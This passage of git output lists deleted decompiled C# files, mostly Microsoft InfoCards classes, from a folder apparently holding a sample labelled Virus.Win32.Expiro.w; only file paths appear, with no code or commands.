MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessExitedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProcessMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ProtocolProfile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryDetails.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryStoreStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RPIdentityRequirement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RSATokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Recipient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509Token.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Request.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ResolvePPIDRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RoamingStoreFileUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAllocMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAsyncResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcAuthorizeCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCallbacks.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcFreeMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcResponse.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRundownClientContextHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RsaKeyGen.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKeyHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeJobHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeNativeHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeRsaProviderHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveLedgerEntryRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SaveRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndex.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexDefinition.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexItem.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexSettings.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecurityKeyTypeInternal.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SendAgentStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SerializationIncompleteException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ServiceBusyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserLanguageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SignatureHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StorableObjectType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/StoreConnection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SystemShuttingDownException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenCreationParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenDescriptor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryBase.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryCredentialType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TokenFactoryFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TransformFinalBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/TrustExchangeException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentAsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentCrashedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentInitializationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentMonitorHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIAgentRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UIEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnlockCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UntrustedRecipientException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/UserPreference.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Utility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/VerifyHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/WSIdentityFaultException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509AudioLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509ImageLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509Logo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoDataType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoTypeExtension.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/XmlNames.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/NEGOTIATE_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDEXECOPT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDTEXTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OfflineFolderStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/PIDMSI_STATUS_VALUE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RESTRICTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RPC_ADDRESS_CHANGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RefreshConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ReplacesCorHdrNumericDefines.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RequireAppliesToStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSNLS_FUNCTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SearchCommandExecuteErrors.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SecureLockIconConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellFolderViewOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellSpecialFolderConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowFindWindowOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellWindowTypeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/TrustDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/VARENUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.csproj delete mode 100644 